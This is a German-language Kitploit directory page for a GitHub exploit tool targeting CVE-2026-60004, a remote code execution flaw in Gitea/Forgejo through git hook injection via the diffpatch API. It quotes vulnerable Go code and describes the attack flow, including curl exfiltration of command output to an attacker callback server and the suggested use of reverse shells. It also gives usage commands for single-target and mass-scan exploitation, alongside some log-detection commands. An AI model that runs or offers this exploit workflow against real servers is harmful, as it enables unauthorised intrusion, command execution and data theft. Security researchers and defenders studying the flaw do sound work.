Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-60004
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationDatenexfiltrationPenetrationstestsRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Repository anzeigen
33vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Hook-Injection in Bare-Clones → post-index-change → Beliebige Befehlsausführung


Überblick

CVE-2026-60004 ist eine Pre-Authentication-Schwachstelle mit kritischem Schweregrad (CVSS 9.8) zur Remote-Codeausführung in den selbst gehosteten Git-Plattformen Gitea und Forgejo, die die Versionen 1.17 bis 1.27.0 betrifft.

Die Schwachstelle nutzt einen Designfehler bei Bare-Clones im API-Endpunkt POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea wendet vom Benutzer gelieferte Patches innerhalb eines temporären Bare-Clones an — wobei das Repository-Root-Verzeichnis $GIT_DIR selbst ist. Indem ein Angreifer denselben bösartigen Patch zweimal einreicht, löst er einen Add/Add-Konflikt aus, der den Three-Way-Merge-Fallback von Git (-3, Git 2.32+) dazu veranlasst, einen ausführbaren post-index-change-Hook direkt in $GIT_DIR/hooks/ zu schreiben. Git führt diesen Hook automatisch während der Index-Aktualisierung aus, was eine beliebige Befehlsausführung unter dem Gitea-Dienstkonto ermöglicht.

Schreibzugriff auf ein Repository ist erforderlich — trivial zu erhalten, da Gitea standardmäßig eine offene Registrierung ohne E-Mail-Verifizierung, Administratorfreigabe oder Limits für die Repository-Erstellung vorsieht.

Betroffene Versionen

VersionStatus
< 1.17Nicht betroffen (diffpatch-Route noch nicht eingeführt)
1.17 — 1.27.0Verwundbar
1.27.1+Behoben

Entdeckt von: Shai Rod (NightRang3r), 28. Juli 2026 Projekt: Gitea / Forgejo (selbst gehosteter Git-Dienst) Komponente: diffpatch-API-Endpunkt, temporärer Bare-Clone


Funktionsweise der Schwachstelle

Grundursache

Die Schwachstelle hat ihren Ursprung in einem einzelnen Parameter in services/repository/files/patch.go:

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

In einem Bare-Clone gibt es kein Arbeitsverzeichnis — das Repository-Root-Verzeichnis ist $GIT_DIR. Ein bösartiger Patch, dessen Dateipfad hooks/post-index-change lautet, landet daher direkt im echten Hooks-Verzeichnis von Git und nicht in einem abgeschotteten Arbeitsverzeichnis.

Der git apply-Aufruf verschärft dies:

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Warum es funktioniert

  1. Bare-Clone bietet keine Sandbox — das Root-Verzeichnis des temporären Clones ist $GIT_DIR, daher führt der Pfad hooks/post-index-change direkt in das echte Hooks-Verzeichnis.
  2. --cached ist nicht wasserdicht — der -3-Three-Way-Fallback in Git 2.32+ schreibt während Add/Add-Konflikten zusammengeführte Ergebnisse in das Arbeitsverzeichnis, trotz des --cached-Flags.
  3. Doppeltes Einreichen löst den Konflikt aus — der erste apply fügt den Hook dem Index hinzu. Der zweite apply erzeugt eine Add/Add-Kollision, der Three-Way-Merge schreibt die Datei auf die Festplatte und Git führt sie aus.
  4. Git führt post-index-change automatisch aus — nach der Aktualisierung des Index führt Git diesen Hook, sofern vorhanden und ausführbar, bedingungslos aus. Keine Konfiguration erforderlich.
  5. Hook-Befehle können den Index NICHT verändern — git update-index innerhalb des Hooks verursacht einen Deadlock, da git apply die Index-Sperre hält. Verwenden Sie HTTP-Callbacks (curl) oder Reverse Shells zur Exfiltration von Ausgaben.

Angriffsablauf

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Verifizierte Quellcode-Referenzen

DateiZeile(n)Zweck
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — Erstellung des Bare-Clones
services/repository/files/patch.go206-209git apply mit den Flags --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — speichert den Angreiferzustand
services/repository/files/cherry_pick.go~170Gleiches Bare-Clone-Muster in CherryPick (ebenfalls behoben)

Erkennung in Server-Logs

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Zentraler Designfehler

Der Unterschied zwischen einem Bare- und einem Nicht-Bare-Clone — ein einzelner boolescher Parameter — bestimmt, ob ein Patch-Pfad ein harmloser Arbeitsverzeichnis-Eintrag oder ein ausführbarer Hook ist, der direkt im internen Git-Verzeichnis landet. Der Fix ändert im Diff genau ein Zeichen (true → false), weshalb der Commit unter MISC als "refactor: git patch apply" bezeichnet wurde und nicht unter SECURITY. Die Operation, die auf den Index beschränkt sein sollte (--cached), wurde stillschweigend durch Gits eigene Three-Way-Merge-Mechanik aufgehoben, und keine zusätzliche Absicherung verhinderte, dass Hook-Dateien im $GIT_DIR des Bare-Clones erstellt wurden.


Installation

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Verwendung

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Argumente

Tool herunterladen